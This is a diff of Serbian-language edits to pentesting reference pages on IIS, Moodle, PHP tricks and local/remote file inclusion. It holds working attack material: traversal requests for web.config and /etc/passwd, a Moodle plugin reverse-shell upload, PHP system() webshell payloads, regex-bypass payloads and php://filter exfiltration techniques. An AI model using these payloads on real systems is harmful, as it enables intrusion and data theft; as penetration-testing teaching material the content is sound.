> Iz **preuzetih Dll-ova** takođe je moguće pronaći **nove namespaces** gde treba pokušati da se pristupi i dobije web.config datoteka kako bi se pronašli novi namespaces i assemblyIdentity.\
|
||||
> Takođe, datoteke **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.\\
|
||||
|
||||
U **.Net MVC aplikacijama**, **web.config** fajl igra ključnu ulogu tako što specificira svaki binarni fajl na kojem aplikacija zavisi putem **"assemblyIdentity"** XML tagova.
|
||||
U **.Net MVC aplikacijama**, **web.config** datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem **"assemblyIdentity"** XML oznaka.
|
||||
|
||||
### **Istraživanje Binarnih Fajlova**
|
||||
### **Istraživanje Binarnih Datoteka**
|
||||
|
||||
Primer pristupa **web.config** fajlu je prikazan u nastavku:
|
||||
Primer pristupa **web.config** datoteci je prikazan u nastavku:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -74,9 +76,9 @@ Ovaj zahtev otkriva razne postavke i zavisnosti, kao što su:
|
||||
|
||||
- **EntityFramework** verzija
|
||||
- **AppSettings** za veb stranice, validaciju klijenata i JavaScript
|
||||
- **System.web** konfiguracije za autentifikaciju i vreme izvršavanja
|
||||
- **System.web** konfiguracije za autentifikaciju i izvršavanje
|
||||
- **System.webServer** podešavanja modula
|
||||
- **Runtime** vezivanja skupova za brojne biblioteke kao što su **Microsoft.Owin**, **Newtonsoft.Json**, i **System.Web.Mvc**
|
||||
- **Runtime** vezivanja skupova za brojne biblioteke kao što su **Microsoft.Owin**, **Newtonsoft.Json** i **System.Web.Mvc**
|
||||
|
||||
Ove postavke ukazuju na to da se određene datoteke, kao što je **/bin/WebGrease.dll**, nalaze unutar /bin fascikle aplikacije.
|
||||
|
||||
@ -187,12 +189,12 @@ Ako vidite grešku poput sledeće:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
To znači da server **nije primio ispravno ime domena** unutar Host zaglavlja.\
|
||||
Da biste pristupili veb stranici, možete pogledati **SSL sertifikat** i možda ćete tamo pronaći ime domena/subdomena. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravno.
|
||||
To znači da server **nije primio ispravno ime domena** unutar Host header-a.\
|
||||
Da biste pristupili web stranici, možete pogledati **SSL sertifikat** i možda ćete pronaći ime domena/subdomena tamo. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravno.
|
||||
|
||||
## Stare IIS ranjivosti koje vredi potražiti
|
||||
|
||||
### Microsoft IIS tilde karakter “\~” Ranjivost/Osobina – Otkriće kratkih imena datoteka/foldera
|
||||
### Microsoft IIS tilde karakter “\~” Ranjivost/Osobina – Otkriće kratkog imena datoteke/foldera
|
||||
|
||||
Možete pokušati da **enumerišete foldere i datoteke** unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu **tehniku**.\
|
||||
Glavno ograničenje ove tehnike, ako je server ranjiv, je to da **može pronaći samo prvih 6 slova imena svake datoteke/foldera i prva 3 slova ekstenzije** datoteka.
|
||||
@ -205,7 +207,7 @@ Originalno istraživanje: [https://soroush.secproject.com/downloadable/microsoft
|
||||
|
||||
Takođe možete koristiti **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Dobra ideja za **pronalazak konačnog imena** otkrivenih datoteka je da **pitate LLM-ove** za opcije kao što je to učinjeno u skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Lepa ideja da **pronađete konačno ime** otkrivenih datoteka je da **pitate LLM-ove** za opcije kao što je to učinjeno u skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Zaobilaženje osnovne autentifikacije
|
||||
|
||||
@ -229,12 +231,12 @@ Ove informacije uključuju IP adrese udaljenih klijenata, ID sesija, sve kolači
|
||||
|
||||
ASPXAUTH koristi sledeće informacije:
|
||||
|
||||
- **`validationKey`** (string): heksadecimalno kodirani ključ koji se koristi za validaciju potpisa.
|
||||
- **`validationKey`** (string): heksadecimalni ključ koji se koristi za validaciju potpisa.
|
||||
- **`decryptionMethod`** (string): (podrazumevano “AES”).
|
||||
- **`decryptionIV`** (string): heksadecimalno kodirani inicijalizacijski vektor (podrazumevano vektor nula).
|
||||
- **`decryptionKey`** (string): heksadecimalno kodirani ključ koji se koristi za dekripciju.
|
||||
- **`decryptionIV`** (string): heksadecimalni inicijalizacijski vektor (podrazumevano vektor nula).
|
||||
- **`decryptionKey`** (string): heksadecimalni ključ koji se koristi za dekripciju.
|
||||
|
||||
Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako možete pronaći veb sajt koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **napravite korisnika sa emailom korisnika kojeg želite da imitirate** na serveru pod napadom, možda ćete moći da **koristite kolačić sa drugog servera na prvom** i imitirate korisnika.\
|
||||
Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako možete pronaći web sajt koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **napravite korisnika sa email adresom korisnika kojeg želite da imitirate** na serveru pod napadom, možda ćete moći da **koristite kolačić sa drugog servera na prvom** i imitirate korisnika.\
|
||||
Ovaj napad je uspeo u ovom [**izveštaju**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Zaobilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Automatske skeniranja
|
||||
|
||||
### droopescan
|
||||
@ -67,15 +66,17 @@ Otkrio sam da su automatski alati prilično **beskorisni u pronalaženju ranjivo
|
||||
|
||||
## **RCE**
|
||||
|
||||
Morate imati **menadžersku** ulogu i možete **instalirati dodatke** unutar **"Administracija sajta"** taba\*\*:\*\*
|
||||
Morate imati **menadžersku** ulogu i možete **instalirati dodatke** unutar **"Site administration"** taba\*\*:\*\*
|
||||
|
||||
.png>)
|
||||
|
||||
Ako ste menadžer, možda ćete još morati da **aktivirate ovu opciju**. Možete videti kako u moodle privilegijskoj eskalaciji PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Zatim, možete **instalirati sledeći dodatak** koji sadrži klasični pentest-monkey php r**ev shell** (_pre nego što ga otpremite, potrebno je da ga dekompresujete, promenite IP i port revshell-a i ponovo ga kompresujete_)
|
||||
Zatim, možete **instalirati sledeći dodatak** koji sadrži klasični pentest-monkey php r**ev shell** (_pre nego što ga otpremite, potrebno je da ga dekompresujete, promenite IP i port revshell-a i ponovo kompresujete_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Ili možete koristiti dodatak sa [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) da dobijete regularni PHP shell sa "cmd" parametrom.
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Uobičajena lokacija kolačića:
|
||||
|
||||
Ovo važi i za phpMyAdmin kolačiće.
|
||||
@ -21,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Zaobilaženje PHP upoređivanja
|
||||
|
||||
### Labava upoređivanja/Tip prebacivanje ( == )
|
||||
### Labava upoređivanja/Prebacivanje tipova ( == )
|
||||
|
||||
Ako se `==` koristi u PHP-u, postoje neočekivani slučajevi gde upoređivanje ne funkcioniše kako se očekuje. To je zato što "==" upoređuje samo vrednosti transformisane u isti tip, ako takođe želite da uporedite da li je tip upoređivanih podataka isti, morate koristiti `===`.
|
||||
|
||||
@ -29,10 +28,12 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php](
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
|
||||
- `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
|
||||
- `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u decimalnom ili heksadecimalnom formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
|
||||
- `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
|
||||
- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0
|
||||
- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
@ -42,7 +43,7 @@ Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Tip prebacivanje** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
|
||||
**Prebacivanje tipova** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -63,7 +64,7 @@ Ista greška se javlja sa `strcasecmp()`
|
||||
|
||||
### Strogo prebacivanje tipova
|
||||
|
||||
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
|
||||
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo na prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -96,7 +97,7 @@ Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://rama
|
||||
|
||||
#### **Obilaženje greške u dužini**
|
||||
|
||||
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
|
||||
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)\
|
||||
Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se blokira JSON, mogli biste poslati:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
@ -109,7 +110,7 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ukratko, problem se javlja jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
|
||||
Ukratko, problem nastaje jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određeni regularni izrazi se podudaraju koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
|
||||
|
||||
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:\
|
||||
**Pošaljite ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
|
||||
@ -142,7 +143,7 @@ header('Location: /index.php?page=default.html');
|
||||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Putanja Traversal i Eksploatacija Uključivanja Fajlova
|
||||
## Put Traversal i Eksploatacija Uključivanja Datoteka
|
||||
|
||||
Proverite:
|
||||
|
||||
@ -152,16 +153,16 @@ Proverite:
|
||||
|
||||
## Više trikova
|
||||
|
||||
- **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti putem **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda.
|
||||
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste u različitim putanjama** možete učiniti da putanja **pristupa kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
|
||||
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
|
||||
- **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti putem **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda.
|
||||
- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
|
||||
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (davanjem kolačiću imena koje odgovara njemu u putanji2).
|
||||
- Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
|
||||
- [**LFI i RCE koristeći php omotače**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Ove funkcije se obično koriste u PHP za **generisanje heševa iz lozinki** i za **proveru** da li je lozinka ispravna u poređenju sa hešem.\
|
||||
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT.** A trenutno, **PASSWORD_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
|
||||
Ove funkcije se obično koriste u PHP-u za **generisanje heševa iz lozinki** i za **proveru** da li je lozinka tačna u poređenju sa hešem.\
|
||||
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT.** A trenutno, **PASSWORD_BCRYPT** ima **ograničenje veličine ulaza od 72 bajta**. Stoga, kada pokušate da heširate nešto veće od 72 bajta sa ovim algoritmom, biće korišćeno samo prvih 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -175,7 +176,7 @@ True
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru.
|
||||
|
||||
Omogućava zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao:
|
||||
Omogućavajući zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
@ -311,7 +312,7 @@ phpinfo();
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**U ovom postu**](https://blog.redteam-pentesting.de/2024/moodle-rce/) moguće je pronaći sjajne ideje za generisanje brain fuck PHP koda sa vrlo malo dozvoljenih karaktera.\
|
||||
Pored toga, predložena je i zanimljiva metoda za izvršavanje funkcija koja im je omogućila da zaobiđu nekoliko provera:
|
||||
Pored toga, takođe je predložen zanimljiv način za izvršavanje funkcija koje su im omogućile da zaobiđu nekoliko provera:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -333,7 +334,7 @@ Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfus
|
||||
|
||||
PHP omotači i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug neautentifikovana RCE
|
||||
## Xdebug neautentifikovani RCE
|
||||
|
||||
Ako vidite da je **Xdebug** **omogućen** u `phpconfig()` izlazu, trebali biste pokušati da dobijete RCE putem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
@ -351,7 +352,7 @@ echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
Ako na stranici možete **napraviti novi objekat proizvoljne klase**, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
|
||||
Ako na stranici možete **napraviti novi objekat proizvoljne klase** možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
|
||||
|
||||
{{#ref}}
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
@ -381,7 +382,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg, zloupotrebljavajući taj payload da izvršite proizvoljni PHP:
|
||||
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg koristeći tu payload da izvršite proizvoljni PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Uključivanje fajlova/Putanja prolaza
|
||||
# Uključivanje fajlova/Putanja prolaz
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -49,7 +49,7 @@ Proverite LFI listu za linux.
|
||||
|
||||
## Osnovni LFI i zaobilaženja
|
||||
|
||||
Svi primeri su za Lokalnu Uključenost Datoteka, ali se mogu primeniti i na Daljinsku Uključenost Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Daljinsko Uključivanje Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -94,10 +94,10 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
|
||||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje na to da li folder postoji:
|
||||
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
|
||||
4. **Rekurzivna Istraživanja:** Otkriće foldera može se dodatno istražiti za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
|
||||
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
||||
```bash
|
||||
@ -105,13 +105,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tehnika skraćivanja putanje**
|
||||
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena sigurnosnom merom, i dalje ukazuje na željenu datoteku.
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena od strane sigurnosne mere, i dalje ukazuje na željenu datoteku.
|
||||
|
||||
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja.
|
||||
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku.
|
||||
- Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
- Slično, ako se `.php` doda na putanju datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
|
||||
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
|
||||
```
|
||||
@ -127,7 +127,7 @@ U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali ovaj broj mo
|
||||
|
||||
- **Korišćenje tačaka i dodatnih karaktera**: Sekvence prolaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
|
||||
- **Određivanje potrebnog broja prolaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
|
||||
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
|
||||
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja servera.
|
||||
|
||||
Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
|
||||
|
||||
@ -171,7 +171,7 @@ Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna puta
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To je očekivano ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To je nameravano ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
|
||||
|
||||
@ -181,7 +181,7 @@ Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto da
|
||||
|
||||
## Top 25 parametara
|
||||
|
||||
Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni ranjivostima lokalnog uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -209,7 +209,7 @@ Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima u
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI koristeći PHP omotače i protokole
|
||||
## LFI / RFI korišćenjem PHP omotača i protokola
|
||||
|
||||
### php://filter
|
||||
|
||||
@ -281,17 +281,17 @@ U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzo
|
||||
- Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**.
|
||||
- **dechunk** filter će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se izaziva jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codec-i se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
|
||||
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
|
||||
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do junk podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
|
||||
